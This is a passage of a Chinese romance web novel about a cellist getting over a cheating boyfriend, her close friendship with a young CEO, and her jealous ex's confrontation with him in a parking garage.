“分手了,还有啥好想的?”
梁亦芝扣下镜子,两手垂在双腿上:“我就是……想知道他为什么会出轨。”
虽然事已至此,可总是有个不死的想法一致萦绕在她心头,让她寝食难安。
“小姐,原因重要吗?重要的是事实,他已经出轨了,这是无法饶恕的错误。”
“可我跟他也……”
梁亦芝还想说什么,何嫚忽然抬起双手,捂住耳朵:“我不听啊——不听不听不听不听——”
梁亦芝噗嗤一声笑了。
“知道啦,我不会再想了。”
的确,过去的事情,就让它过去吧。总是执着于原因又有什么用。她又不是犯错的那一方。
跟何嫚呆在一起,至少比她一个人闷在家里好,还有人能跟她说说话,疗愈下情伤。
-
第二天,谢昀上班又迟到了。
他沉着脸进了办公室,打了水回到工位上。
他已经从同事那儿听说了昨天他缺席例会被大老板抓包的事,这会儿浑身上下都冒着刺儿,烦得紧。
这两天的事耗费了他太多心神,现在得赶紧沉下心来,把拖了许久的工作赶赶进度,再去领导面前挽回一下。
坐下后,谢昀例行开电脑,打开公司帐号。正想着开始复盘数据,屏幕右下角弹出人事的消息,让他现在过去一趟。
谢昀皱了皱眉,起身。
没想到刚进人事部,谢昀就迎来了当头一棒。
人事找他面谈,谈的竟然是裁员的事情。人事并没有和他聊太多,只是通知了他这个结果。
小姐姐轻声细语,上来还先关心他最近工作压力大不大,生活条件怎么样,一副以人为本的态度,搞了半天原来只是他们的怀柔政策。
裁员的消息传得很快,不出两小时,所有人都朝谢昀投来了同情的目光。
有人过来好心地拍拍肩安慰他,可在谢昀眼里,他们不过都是在可怜自己、做做表面功夫罢了,谁知道背地里人们又会嚼着什么样的舌根呢。
下午,工作交接结束,谢昀默不作声地收拾自己的物品,一点点清空工位。
他努力不去在意旁人探寻的目光,可他们那假模假式的关心、和实际鄙夷的目光,反而更让人上火。
接连失去恋人和工作,最近的倒霉事统统叠加在一起,谢昀快承受不住这高压。
他一个没忍住,把自己平时喝水的陶瓷马克杯一下摔在地上。
那杯子和梁亦芝家里的是一对。
瓷片炸得四分五裂,旁边的女同事被吓到了,尖叫着躲开。
“神经病吧……!”
“自己不干了,别人还得接他的烂摊子呢。谁招惹他了?真无语!”
“谢组长,消消气消消气——”
……
谢昀承受不了这里刑场一般的氛围,没了耐心,把桌面上的所有东西一气扫进自己的包里,囫囵塞上,连拉链都顾不得拉好,抬脚走人。
他单肩挎着包,来到电梯厅按下。
电梯门打开,他正准备进入,一眼,看到电梯里的深色人影。
顾寅言站在最内侧,身姿挺拔,气质出群,身边还跟着身着职业装的唐秘书。
见到谢昀,顾寅言那双眼睛朝下一瞥,扫过他的脸,并没有什么表情。
谢昀愣了一瞬。
他此刻心情非常糟糕,本能地排斥任何一位同事和领导。可碍于职级,逼仄的空间又只有他们,谢昀蛮不情愿地点了下头。
电梯从22层开始下行。
背后的气息太过强烈,谢昀按耐不住心底的那股委屈,踌躇一会儿后,忍不住转身,面向顾寅言道:
“顾总,我是产品研发部门的谢昀。”
“……不知道您对我有没有印象,但我想知道,最近这么突然裁员的原因是什么?”
小唐安静地站在在一边,职业素养让她维持着面上波澜不惊,可她的眼睛也悄悄朝顾总瞄了过去。
顾寅言看着
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谢昀,忖了半秒,像是在思考他是哪个部门的哪个员工,而后才缓缓开口。
他声线平淡:“不用想太多,你做的很好,公司在进行正常的组织架构调整而已。”
听完顾寅言说的,谢昀心里卯足的那一股劲,忽然就像打在了一团棉花上,软绵绵地卸了。
如果是这样……如果真是这样。
真的只能怪自己倒霉了。
谢昀朝面前高大的人影微微低头,说我知道了。
他转过身。
顾寅言垂着眼睫,盯着面前背着包的谢昀。
简单的黑色冲锋衣外套,领口一边立起一边塌下。肩上的背包塞得鼓鼓囊囊,拉链都险些拉不上,布料裹得像马上要吐出来。
似乎是因为刚刚谢昀提及了这个话题,顾寅言想起什么,对一边的唐秘书道:
“小唐,除了裁员,公司几个核心部门的岗位空缺,我记得用人需求早就传达下去了,还在推进么?”
唐秘书:“在的,顾总。”
“好,催下人事部,顺便提醒他们,记得做好背调。”
顾寅言盯着面前人的后脑勺,继续道:“公司有严格的用人标准和底线。道德作风有问题的人,如果再招进来,就连他们一起走人。”
谢昀脊背倏然僵直,杵在原地。
他忽然感觉浑身发凉、要冒冷汗。
电梯“叮”的一声响,门朝两边缓缓打开。
金属冷白的空间,照进了来自一楼大厅的光线,终于显得不那么窒闷。
顾寅言抬脚,正欲走出电梯。
掠过谢昀身边时,他又顿了下。
顾寅言比谢昀高了几厘米,挡住了头顶煞白的灯光,整个人笼罩着电梯里银色的光影。
他今天没打领带,领口微敞着,衣领处别了一枚胸针,设计成了日晷的造型,精巧而低调。
中心缀着一颗颜色深邃的蓝宝石,像是嵌在其中的一只眼。
胸针在照耀下反射到电梯的顶灯,晃了谢昀一眼,他眼底锐疼。
“对了。”顾寅言忽然开口。
他看见谢昀的包里有什么,抬手轻轻抽了出来,东西在谢昀眼前稍纵即逝。
顾寅言说着,一手插着兜,另外二指夹着一张白色的纸片,在他面前晃了下。
顾寅言:“这个,就当送老板的离职礼物吧。”
“再见。”
他长腿迈开,大剌剌地掠过谢昀,就这么离开了。
谢昀阴沉着脸,看着他的背影,双拳紧收,指印抠进掌纹里。顾寅言的声音仍在耳边缭绕,平静和缓。
他赶紧把背包甩到身前查看。
——原来的侧边袋里,被他一直当作护身符的,那张梁亦芝的旧照片,消失了。
9. 高山流水
距离分手已经过去好些天。
梁亦芝一直和何嫚住在一块,每天除了工作、演出,基本闭门不出,闷在家埋头练琴。
梁亦芝自觉恢复得很快。她每天潜心拉琴,该吃饭就吃饭、该生活生活,没受到多少来自分手的影响。
她自我感觉良好。
早晨起来,梁亦芝按部就班在何嫚家客卧里拉琴,何嫚忽然进来打断了她。
她叫嚷着:“我的姑奶奶,你还好吗?”
梁亦芝不解:“我很好啊。”
“你确定好?”何嫚皱着眉上下打量,视线扫过梁亦芝的脸和她手里的琴弓,“再这样下去,楼下邻居都得哭着来投诉我扰民了。”
“还是很吵吗?”梁亦芝顿生歉意,为了不打扰周边居民,她现在尽量都在白天练琴,也缩短了在家练习的时长,
梁亦芝:“我已经把F孔堵上了,还插了弱音器,看来效果还是一般。”
“不是这个问题。”何嫚扬了扬下巴,“你这首曲子拉了几天了?再听下去我都要抑郁了。”
梁亦芝翻了翻面前的谱子:“我怎么感觉还挺好听的……”
这些天以来,她拉的最多的就是这首弗雷的《梦后》。
凄美悲凉的曲调,配合大提琴沉郁的音色,不时从琴弓下流泄出的哀怨情伤,听着确实有几分致郁。
梁亦芝很喜欢这首曲子。
然而在她眼中细腻又深刻的作品,在何嫚的角度却有些欣赏不来。
她听不懂梁亦芝说的那些。何嫚只知道,要是再天天听这破木头拉出的致郁之音,她会抓狂的。
何嫚说:“行了,管他什么肖邦还是莫扎特的,再成天拉你那个破琴,都影响你的磁场了。”
“什么意思?”
“意思就是:赶紧收拾打扮一下,跟我出门!”
总呆在家里,时间长了也会闷出病来。
梁亦芝是个极听劝的人。
她久违地化了妆,借了何嫚新买的衣服,黑色风衣配长筒皮靴,坐上何嫚的小跑出了门。
到了地点,刚下车,她们就在门口碰到了顾寅言。
顾寅言扫一眼二人,只评价了她们俩四个字:“孔雀开屏。”
便转身进去了。
何嫚在后面,忍着想要发笑的心情,揽着梁亦芝跟上。
这家夜店是整个玉城最有名的一家店,卡座低消五位数。
因为门槛高,氛围虽好,却又不是酒池肉林、纸醉金迷的糜乱景象,大多都是富家子弟在此消遣娱乐,结交朋友。
何嫚搭着梁亦芝肩膀,步子放慢,语重心长道:“亦芝,你知道吗?你之前识人不慧、遇人不淑,那都是因为你见过的人还太少。”
她们在一波波人潮中穿行,何嫚的声音压在她耳边:
“你总是容易把他们想的太单纯,可这世界上的人千奇百怪,真正的正常人才是少数。你得放开一点自己的边界,多和新的人认识交流,才能学会怎么分辨他们。”
梁亦芝觉得何嫚的话不无道理。
她这个人有些理想化,被家庭保护的太好,总是天真地认为没人会有那么多坏心眼,对身边的人不会树立太多戒备。
可现实早就狠狠给她上了一课。
“多交朋友不是坏事。但你要记住,”何嫚站定,戴满戒指的双手压在梁亦芝骨感的肩膀上,将她转向某个方向。
“咱们要找的人,标准至少得跟他们对齐。”
梁亦芝顺着她的方向看去。
不远处,灯光昏暗的卡座,顾寅言和蒋徊已经坐在那聊天。
旁边过来个女生想跟他们搭话,短短几句后,应该是被婉拒了,她脚步移开,眼神仍在恋恋不舍地看着沙发里的顾寅言。
顾寅言从头到尾没几句话,坐在那静静喝酒。
梁亦芝有时觉得,顾寅言给人的感觉就像一座隐秘的高山,脱离于人间俗世。哪怕她认识他这么多年,都时常看不透他的想法,也怪不得总有人被他身上那股气质迷得神魂颠倒,妄想攀缘。
何嫚说的没错,梁亦芝想。
她确实该多结交一些人,不要固步自封,得把主动权掌握在自己的手里。
她自身条件又不差,要求也不过分,再怎么样,也得找一个和顾寅言这样旗鼓相当的人吧。
外貌优秀,家教良好,学识丰富。
重要的是,一个像他这样靠谱的人。
何嫚和梁亦芝来到卡座坐下。
蒋徊和梁亦芝有一阵没见了,他刚从外地出差回来,见到梁亦芝,第一句开口关心:“你还好吧?”
“挺好的,放心吧。”
“这才对嘛!”蒋徊安慰道,“为情所困,最掉价了。你看我谈了这么多恋爱,万花丛中过,向来片叶不沾身!那些都是身外之物……”
何嫚冷呵一声:“也不知道之前是谁,被江医生甩了,装作不在意,却硬说自己得了病,天天往医院跑?”
何嫚提起的是蒋徊的上一任女友。江医生出身医学世家,父母都是高知分子,对江医生的另一半要求自然也极高。
蒋徊如今就在父母的公司里混着,吃住都靠家里,一天到晚没个正形。他谈起恋爱来粘人,江医生工作又忙,觉得他不上进,两人分歧自然就多了,这段恋情最终是走到了岔路口。
江医生一直都是蒋徊心里的一根刺,何嫚这一激,蒋徊气得嘴唇上下打架,说不出话来:“我……我那是真生病了!你有没有良心何嫚!”
“我没有,江医生有咯。”
两人又拌起嘴。
顾寅言坐在一旁,不打算参与这场纷争。他看了梁亦芝一会儿,决定趁大家都还清醒的时候先说正事。
顾寅言凑近梁亦芝,言简意赅:“谢昀被辞退了。”
梁亦芝知道,这是情理之中。她立即道:“没事的,你不用顾虑我,你的公司你做主。”
“不都是因为你。”顾寅言说。
“公司也不会容忍道德作风有问题的人留在这,后患无穷。这是我们的底线,无论他是不是……你的男朋友。”
梁亦芝明白。
顾寅言不会偏袒她,他从来对事不对人,永远公平而公正。<
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过去就过去了,梁亦芝不允许自己在这种事情上做无意义的感情消耗。她截断话头:“好了,不提他了。”
梁亦芝端起杯子,扬声道:“今天我是要来找乐子的!”
“对!”何嫚拍两下掌,“来来来!咱们碰一个!先喝两杯,再上场热热身!”
他们举杯对碰,四只玻璃杯磕到一起,撞出脆响,几滴清冽的酒液无序地溅出,像年轻人自由的灵魂。
跟朋友在一起总是愉悦的,加上店里震耳欲聋的音乐声,快乐得能让人把所有事情都暂时抛到脑后。
喝了会儿酒,他们聊了会儿天,何嫚怂恿梁亦芝去舞池中间。
她勾着她:“快点,走了!”
梁亦芝口号喊得响,真落实到行动上,却是犹犹豫豫不想走,仍放不开,屁股仿佛被粘在沙发皮座上:
“要不……你先过去,我等下再加入进来……”
何嫚嚷嚷着:“你忘了你那天喝醉酒怎么说的,谁要玩花的??”
梁亦芝一愣怔,看来她那天被顾寅言送走后,还在何嫚那也下了宣言。
真是丢人丢大发了……
“玩啊,我又没说不玩,我是肢体不协调,不想跳……”梁亦芝嘴硬找借口。
她那天是真醉了,想起自己还说过这么一句话,也记得当时顾寅言不咸不淡的那一句“你试试看”。
不知道他还记不记得,最好是忘了……
“她不想去就算了。”见两人僵持不下,顾寅言开口解围。
何嫚跺脚:“你不去我可要去了啊!等下你一个人别不敢进来!”
何嫚起身就要走,见竟然没人拦她,又气呼呼地坐下。
何嫚不满:“怎么我去你们就没人担心了?”
蒋徊愣在那:“你哪次听我们的了,每次拉你都得挨骂。而且……你不是对男的不感兴趣吗?”
“我对他们不感兴趣,可是拦不住有人对我感兴趣呀。”
从初中起,在身边的女同学都情窦初开和沉迷流行男偶像的时候,何嫚就发现了自己对男生没什么特殊想法。
排在队列里,集合人群里,她总是更关注女孩子的。
可偏偏她又长得艳丽,手长腿长,一刀齐的平刘海加长直发,姬感十足,又分外惹眼,男女通杀。
何嫚说:“亦芝,不是说了么,咱们要找跟这两位好兄弟差不多的。你都不行动,光等着人家自己上门,那可就没得挑了啊!”
“哟——”蒋徊听见这话乐了,摘取重点:“我还是头一次在这收到这么高的评价?”
梁亦芝正色重申:“你们只是最低标准。”
话毕,余光里,她看见身边的顾寅言似乎动了动。
她看向他。
昏暗的视野里,借着周遭灯红酒绿的光线,她看见顾寅言的唇边染上了浅浅的笑意,像高山流水,幽深的画面一点点流动了起来。
“什么意思?”男人轻声开口。
高大的身影凑近,他的声线依旧缓和低平,玩笑一般问:
“我们这样的怎么了?”
10. 洛神玫瑰
他身上的男士香水味很淡,可梁亦芝的鼻尖还是嗅到了。
顾寅言的味道和他的人不太一样。
沉稳踏实的木质沉香里,夹杂着一点点清新的果味,像是青皮的柑橘,温暖而涩。
透着不容忽视的存在感,包裹着皮肤,悄然无声地侵袭而至。
梁亦芝往后躲了躲,心虚地正色道:“你们就……还算正常。”
年轻的ceo,身价过亿,富的流油。
如果这样只是“还算正常”的话,那世界上大概只剩下“不正常”的人了。
摇摆过后,梁亦芝最终还是下了决心,站起来说:“算了,走吧!”
她脱了风衣,扔在沙发上,掐着窄细的腰,短裙下一双长腿迈得正气凛然,活脱脱像是要上战场。
后面的蒋徊和顾寅言都没忍住笑了。
进了舞池,梁亦芝一开始被挤在人群中不敢动,可几分钟后,她发现根本没人在意自己,大家都只顾着自嗨。于是也大胆地把手伸过头顶,跟着节奏律动起来。
潮浪般的音乐将人吞没,她逐渐陷入这狂欢之中,忘记了自我。
这一晚,梁亦芝竟然真的意外收到了两位男性的搭讪。谨小慎微的梁亦芝再度想拒绝,然而何嫚拉住了她:“交个朋友,又不会少块肉?”
最终,梁亦芝只加了一个让她比较有眼缘的男生,那个男生的英文名叫Gary,看着像是大学生,笑起来眼睛弯弯的,很容易让人心生好感。
回去后,Gary不时找她聊天,得知梁亦芝是大提琴手后,很兴奋地问她自己能不能去看她的演出。
梁亦芝告诉他,这周末就有一场,有时间的话他可以来。
两个人就这么约定下来。
-
谢昀大概也是力不从心,频繁地利用各种方式和应用软件试图联系梁亦芝,没收到任何回音后,也逐渐销声匿迹。
梁亦芝搬回了自己家。
事情已经告一段落,然而顾寅言还是说,让她如果要出门,都叫司机老张来接送。
梁亦芝觉得顾寅言过分的谨慎了。
不过对方的出发点也是为了她的安全,梁亦芝没有多言,听话地照办。
周日,乐团在城北的音乐厅做演出。梁亦芝还记得自己的承诺,给Gary送了票,请他来看。
Gary定了一大束花,他想给梁亦芝一个惊喜,等到音乐会结束后再送给她。
散场时,Gary找到后台,却被工作人员拦住。
“你去后台演职人员的出口,粉丝们都在那里等着的。”
Gary听了只觉得不悦,他又不是粉丝,为什么要在出口那和人潮一起等着?如果在那里送,这束花的意义就有些变味了。
Gary想,早知道就不搞什么惊喜突袭,他提前跟梁亦芝打个招呼了。
Gary据理力争,还想继续说服工作人员。
这时,一旁来了个穿着矜贵得体、身型高瘦的男人。
他也是来听音乐会的,Gary想起在观众席看见过他。
男人走路带风,畅通无阻地迈进后台的金色大门。
Gary在后面震惊问:“为什么他能进去?你们区别对待!我不服!”
工作人员一口咬死:“外人不能随便进出,里面有很多乐器和设备,出了意外谁来负责?”
顾寅言刚进去,就听到入口外传来喧闹的人声。
他眉头一皱,顿了顿,掉转步伐。
隔着一些距离,顾寅言认出来了,原来门口这个鬼哭狼嚎的家伙是那天在夜店和梁亦芝凑在一块的人。
见顾寅言又出来了,工作人员倒吸一口凉气。
承晖集团投资了这家音乐厅,集团的小顾总算是他们半个领导。在领导面前闹出事,岂不是把自己的饭碗往地上砸。
工作人员想尽快息事宁人,也是为了在顾寅言面前表现一番,他拿起对讲机道:“喂——保安吗?这里有人闹事……”
没成想,一旁的顾寅言走了出来,伸手打断,示意他停下,转而问Gary:“你的花要给谁?”
Gary警惕地盯着他。
“给谁。”顾寅言面无表情重复一遍,“我帮你带进去。”
一旁的工作人员听了微讶。
顾总向来不多管闲事,怎么今天突然转性了?
Gary一听他是要帮自己的忙,连连道谢,奉上自己的花束:“麻烦您了!帮我带给乐团的大提琴手,叫梁亦芝。”
顾寅言接了花,回身就走,Gary不放心似的,上手拽住他,再次叮嘱:“一定要送到她手里哦!就说是Gary送的,代我跟她说一声,今天的演出很精彩!下次我再约她一起吃饭!”
顾寅言皱皱眉。
梁亦芝找的人真是各有各的奇怪。
“行。”他面上稍显不耐,不动声色地避开了Gary的手,捧着花就此离开。
Gary还站在门口目送顾寅言。工作人员在一旁已经容忍了他半天,这会儿顾总走了,他们也不装了,转头就关上门,开始轰人。
梁亦芝人在休息室里,正听着吴悠讲,刚刚在台上,她不小心拉错了一个音。
吴悠惊魂未定:“我真是吓死了!你知道当时Smith正好看着我们这个方向,我不小心开了个小差,手一抖就崩了个音出来,真是要给我人都吓没了。”
Smith是乐团的总指挥,为人严格又古板。一双耳朵灵光的要死,不管是场上还是排练时,只要有人出了差错,他会立刻准确的送来自己的眼刀。
梁亦芝笑她胆小,吴悠的席位就在她后排,虽然她当时也听出来了那一个不和谐的音符,可她还是安慰吴悠:“没事啦,大家不会在意的。”
话说到一半,休息室的门口出现了一道引人瞩目的身影,手里捧着一大束鲜花,分外惹眼。
梁亦芝闻声看过去,竟然是顾寅言。
重点是,带着花的顾寅言。
要知道顾寅言看了这么多次演出,从没给她送过花。
那一瞬,梁亦芝心里有阵细微的波澜荡过。
顾寅言在人群中搜寻一圈,找到梁亦芝,朝她走过来。
他弄得这么招摇,梁亦芝难得的承受不住周围的目光,她站起身问:“你怎么来了?不是说老张来接吗?”
“来听音乐会。”顾寅言像是回答了一句废话,“你的老张也在外面等着。”
……什么她的老张?
明明是他自己把人借给她用的。
梁亦芝有点无语,又瞧见他手上那束粉红色的玫瑰,没有回怼。
那一捧洛神玫瑰开得正盛,个头不小,中心浓重的粉色一圈圈晕开,由粉及白,波浪形的花瓣向外蓬勃绽开。
她意外他怎么会挑一束这样柔情又热烈的花,一点也不符合他们俩的关系。
甚至……怪肉麻的。
梁亦芝的脸颊似乎也被这花瓣的颜色染上了,有些不知道如何开口。
“——‘你的演出很精彩。’”
梁亦芝茫然抬头,看向面前的男人。
在她胡思乱想之时,顾寅言把花塞给她:
“来自被拦在后台外面的夜店男。”
……
听见这个外号,梁亦芝一愣,想了好一阵,才反应过来,夜店男指的会是谁。
所以,这束花,是Gary给她的?
桃粉色的花瓣上,透露出的古怪别扭感霎时消失了。梁亦芝这才接过,忸怩道:“……你怎么不早说?”
“你以为是我送的?”
“不是你送的最好。”
这话听起来像在赌气,可这是梁亦芝的真实想法。知道那束花不是顾寅言送的之后,她心里莫名轻松了几分。
梁亦芝给吴悠介绍:“这是我朋友,顾寅言。”
顾寅言微微颔首:“你好。”
吴悠在顾寅言面前,面对着那张堪比男明星的脸,她有点害羞,甚至不敢抬头回视,只是同样低声应了句:“你好……”
没多聊几句,休息室太小,人多又嘈杂,顾寅言对梁亦芝道:“我去门口等你。”
梁亦芝知道他不喜欢太吵的地方,推推他:“去吧,别把大少爷吵到了。我马上就出来。”
等人走了,吴悠拉着她,悄声问:“什么鬼亦芝!这真是你朋友?”
梁亦芝点头:“十年的兄弟。如假包换的。”
“你兄弟这么好的货色!你怎么不早说!”吴悠还望着顾寅言离开的方向,“他有女朋友吗?”
“恭喜你,没有哦。”梁亦芝笑着拿肘弯拱拱她,调侃道,“看上了?”
“哪有……你真当我那么饥渴啊?”吴悠回道,“就是觉得挺好看的。这样的男人竟然没有女朋友?他不会要流落到相亲市场上了吧。”
梁亦芝了解顾寅言。他虽然经常
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混迹于社交应酬,但其实私底下跟别人的私交并不多。
他交往一向淡薄,连朋友都只限于他们几个现在的圈子,就更别提发展新对象了。
照顾寅言的家族来看,日后给他介绍联姻也不是没可能,所以他的情感生活根本用不着他们关心。
梁亦芝的家境虽然也足够优渥,可比起顾寅言那样的,还是小巫见大巫了。
她没给吴悠多透露,怕把人吓死。刚好有人过来喊吴悠,说Smith找她过去一趟。
吴悠吓得掐人中:“老天保佑!一会儿回来躺在琴盒里的就不是琴了,而是我。”
梁亦芝拍拍她:“说点吉利的话吧。”
吴悠有气无力地离开。梁亦芝擦好琴,找到自己的置物柜,收拾东西,换下礼服。
考虑到顾寅言还在外面等她,梁亦芝在手机上给吴悠留了条消息,先行离开。
顾寅言在走廊另一端,看见梁亦芝走出来,捧着花朝他小跑过来。
她背着琴,又抱着花,步子不敢跑的幅度太大,有点像背负着重物前行的一只企鹅。
梁亦芝在他面前停下,把气喘匀:“好了,我们走吧。”
顾寅言伸手,从她背后接过琴盒,替她背上往外走。
顾寅言背着琴走在前,梁亦芝抱着花跟在后。穿过一条条长廊和大厅,来到剧院外。
夜色已深,门口的路灯昏暗,沿街树枝茂密,遮去了一大半的光线。
刚出剧院的大门,顾寅言眼一瞥,看到门口的树丛中忽闪过一个身影。
他视若无睹,移开目光,脚下朝身边的人贴近了两步。
梁亦芝觉察到,以为顾寅言有话要跟自己说,她抬脸问:“怎么了?”
顾寅言微微低头,在她耳边说:“有件事,在想要不要告诉你。”
梁亦芝闻到他领口飘来丝丝香气,又是那款淡香。
她疑惑问:“什么?”
顾寅言头更低一些,气息吹在她耳廓,轻柔发痒。他说:
“你里面那件衣服,好像穿反了。”
“什么?”
梁亦芝一下羞红了脸。
她今天里面穿的是一件浅色的吊带衫,外搭了件厚实的小西装。
梁亦芝懊恼,估计是刚刚换衣服太急,套头就穿上了,她没太注意。
梁亦芝垂着头,揪起衣服细细检查。
正面没反啊,难道是里外穿反了?
梁亦芝下巴快贴到锁骨上,外面光线不好,她手里还捧着那么大一束花,又不好操作。
顾寅言善心大发道:“花给我。我帮你挡着,你仔细看看。”
梁亦芝停下脚步,把花递给他。
顾寅言接过,转身面朝她,稍稍打开了自己肩膀。他两肩本就宽阔,再加上那一束花的掩护,足以遮住梁亦芝整个人。
梁亦芝贴近他胸口,抬头先叮嘱一句:“不许看。”
顾寅言听话地闭上眼。
梁亦芝小心翼翼地敞开顾寅言的外套,借着布料罩住自己,低头检查。
这情景从远处看,就像是一男一女约会结束,女生收到了男生送的花,两人恩爱地相拥在一起。
夜晚给他们染上了暧昧的绯色,看起来浪漫又旖旎。
一分钟后,梁亦芝左右看不出到底哪穿错了,退后说:“顾寅言,明明就没问题。你什么眼神?”
“大概是我看错了。”
顾寅言居高临下地俯视她,目光似在检查。忽然,他蓦地伏低了身体,弯下腰,凑近梁亦芝的脸。
秋夜微凉,距离拉近,梁亦芝感觉到属于他身体的温热气息扑了过来。
然后,热气掠过了她的面颊,来到她耳畔。
梁亦芝刚想躲开,身后啪嗒一声,是车门解锁的声音。
顾寅言伸手拉开车门,门沿轻轻撞上了她的后腰。
他重新站直,把那捧花塞给她。
顾寅言手下毫不留情,动作太大,花束震了震,抖下零星几片可怜的花瓣。
顾寅言开口说:“上车。”
梁亦芝讶异地转身,质问他:“车就停在这?那你怎么不让我上车弄?”
“我以为你会很急。”
顾寅言没看她,自顾自开了后座车门,把琴盒稳稳当当地放上去,绕了一圈,回到另一侧上了车。
梁亦芝在原地无言。
她真是越来越看不懂他了。
11. 真败类
梁亦芝坐在副驾上,怀里抱着花,手指拨弄着湿润的花瓣,上面还残留着几滴未干的露水。
顾寅言在一旁,专心开车。
梁亦芝问:“话说,你在外面见到Gary了?他看起来怎么样?”
说实话,才过去不到一小时,顾寅言已经忘记后台入口处那个人的样貌了,但他还记得他的声音。
吵闹、聒噪、喋喋不休。
顾寅言回忆了一下,只说:“很吵。”
梁亦芝听了他简短的评价,不以为然,反而高兴道:“那说不定和我很合得来呢。”
顾寅言打方向盘,揶揄她一句:“好了伤疤忘了疼是么?”
“我只是说交朋友啊。”梁亦芝回怼他,“我喜欢话多的人,多有意思的啊。不过你肯定不懂啦。”
梁亦芝拨着花瓣,又觉得自己的话其实有失偏颇。
顾寅言虽然不是一个很好的聊天对象,但他却是一个足够好的倾听者。表面上瞧着他对你说的每一句话都不关心,其实提过的每一件事,他都放在心上。
比如梁亦芝随手提起的很好吃的蛋糕,比如她找了好几个月都没能买到的黑胶唱片。
比如只是寥寥数语,他就能隔着通话,发现她在哭。
梁亦芝发觉自己这么说似乎有点不够意思,刚想把话圆回来,顾寅言没给她这个机会。
他语调平平地问:“朋友有很多标准,为人处事、兴趣爱好、价值观……难道你只有话多这一个标准?你是在找陪聊?”
就前两天,何嫚对梁亦芝说的那番话,顾寅言其实并不赞同。
交朋友和改变磁场有什么必然联系么?阅人无数后,难道就能通过他的行为举止,看清一个人的本质?
毕竟没人会把自己内心的真实想法写在脸上。
像何嫚说的这种,大概类似于题海战术。
顾寅言不愿意浪费时间进行无意义的社交练习,他更擅长观察。
用有限的时间,对有一个人从头到脚,全方位的审察。
梁亦芝很意外,她只是随口一提罢了,顾寅言居然会就这个问题跟她说这么多。
梁亦芝问:“你是不是怕我又被骗?”
“……不是。”
“那你就是怕我有了男朋友,又会忽略你们几个?”
“……你想多了。”
梁亦芝看见他无语的神情,忍不住发笑。
“放心,我有分寸的。”她垂眸,看了眼手里的花,“我对Gary现在也只是在了解的阶段,他这个人还挺适合当朋友的,不过……我们俩之间暂时没什么异性的感觉。”
梁亦芝说:“而且,我始终相信,真诚的人总会有回报的。老天爷总不能那么瞎吧,你说对吗?”
顾寅言没有说话,目视前方驾车,半晌,才简短地“嗯”了声。
汽车一路驶到小区门口,梁亦芝让顾寅言在门口把自己放下,顾寅言没听,径直开进去。
他把车停到楼下,梁亦芝开门下车,想起什么,回头对他说:“对了。马上放假了,到时候我们一起回家吧。”
顾寅言应声:“好。”
梁亦芝下了车,不忘到后座背上自己的琴盒。
她重新绕到驾驶座窗边:“今天谢咯,你快回去吧,已经不早了。”
顾寅言:“你上去吧,我走了。”
梁亦芝点点头,挥手跟他道别,转头开门上楼。顾寅言在车上,看她进了电梯,调转车头离开。
梁亦芝回到家,在自己家里选了个精致的角落,那里摆满了玩偶,墙壁上贴了很多可爱的贴画。
她把花束放在那,一连摆拍了好几张,挑出一张给Gary发过去:
【谢谢你的花!我收到了,特别漂亮!】
收到礼物后给予反馈,是她一直以来的习惯。
梁亦芝家里保存了很多朋友送的礼物,久到幼儿园时同学送的一张画、父母给的第一支拓麻歌子,在她家里都好好地留存着。
Gary收到她的消息也非常高兴,字里行间都透着欣喜。
Gary:【你喜欢就好!!!】
Gary:【今天你的演出也很棒!!我第一次听交响乐,太震撼了!如果下次还有机会,请一定再邀请我!】
梁亦芝爽快答应,敲打键盘:
【我们剧团有很多演出,欢迎你随时来,我会给你留票的。】
他们聊得起劲,为表谢意,梁亦芝跟他约定了几天后一起吃晚餐。
-
次日清晨。
早上八点多,顾寅言开车去上班。
车开进写字楼的地库停下,顾寅言拿上钥匙,关了车门,朝电梯走去。
在他身后,一个人影从柱子后窜出来,跟了上去。
地库很安静,不时有车从入口驶下,那人小心翼翼地避开。
就快走到电梯厅时,一辆轿车开过,他忙着隐蔽自己,再一探头,前方早没了顾寅言的踪迹。
他赶忙加快脚步,冲到电梯厅,手指狂揿上行的电梯按钮。
可惜上班期间的高峰电梯有多慢,他早就领略过。
那人无可奈何,恼怒地一掌拍在电梯按钮上泄愤。
这时,旁边传来顾寅言清清淡淡的声音:
——“谢组长,好久不见。”
顾寅言站在他身后,语气寡淡地同他打招呼。
谢昀看见他那张泰然自若的脸就来气,他蕴着怒火,朝顾寅言扑上来就是一拳。
顾寅言避了避,手都没动一下,便躲开了。他紧蹙着眉,不想跟他多废话,拿出手机打给物业人员。
谢昀又扑上去抢他的手机,被顾寅言一把甩开。
他瘫坐在地上,顾寅言也终于没了好脾性,沉着脸骂道:“你发什么疯?”
“我发疯?”谢昀冷笑起来,“我还不能发疯了么?现在我知道了,我什么都知道了!你以为你跟梁亦芝还能痛快多久?”
顾寅言面色毫无变化。
谢昀知道自己有过错,但他不曾想过梁亦芝会那么狠心。好歹是交往过一场,他放下一切面子,甚至下跪求她原谅,她怎么能半点余地都不给他?
谢昀想找梁亦芝谈谈。可他的电话已经被拉黑,他在她的住址也没等到她,只能找到乐团。
乐团的排练时间不固定,很难蹲到人,谢昀在网上查了乐团的演出时间,特地到了市中心音乐厅,在门口等着堵人。
他确实等到人了,也确实获得了分量很大的一些信息。
比如梁亦芝似乎有了新欢,两人你侬我侬,抱着鲜花在大街上拥抱。
再比如,借着路灯晦暗不明的光线,他发现那人竟然就是之前开除自己的老板顾寅言。
那场面给他的冲击力太大。
他们是什么时候搞到一块的?
谢昀想了几天,几日茶饭不思,都在思索这件事。他气不过找上门,气势汹汹来抓奸夫。
谢昀死死盯着对面的人。
价值不菲的名牌衣着、一尘不染的黑色鞋面、打得规整严谨的领带,无一处不彰显这个男人的优越体面。
所以怪不得梁亦芝不让自己碰。
她喜欢的就是这种人么?只有这种人才配得上她么?
顾寅言想吻她的时候,她会偏过头避开么?
不,像他这样尊贵的人上人,梁亦芝当然是主动献上香吻,说不定早就给人投怀送抱了。
谢昀丝毫没意识到,他的思维已经因为嫉妒和仇恨完全扭曲。
谢昀几近癫狂地哼笑一声:“真是婊子配狗!一个假清高,一个真败类。你们真是天造地设的一对。”
顾寅言没搭理他,但从他眉眼的细节里,能看出他正压着火。
给物
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业的电话打通,他沉声道:“地库电梯厅的保安呢?都不想干了?什么闲杂人等都让进?”
那头吓得立即连连道歉,吩咐下属马上派人过来。
电话里的人还没讲完,谢昀一股劲冲上来,趁顾寅言打电话的功夫,扬起手给他来了一拳。
顾寅言偏头倒在地,手机屏拍在地面上,一下惊心的脆响。
看他低着头一声不吭,谢昀又是讥笑。
一看就是弱不禁风的公子哥,这么不抗造。
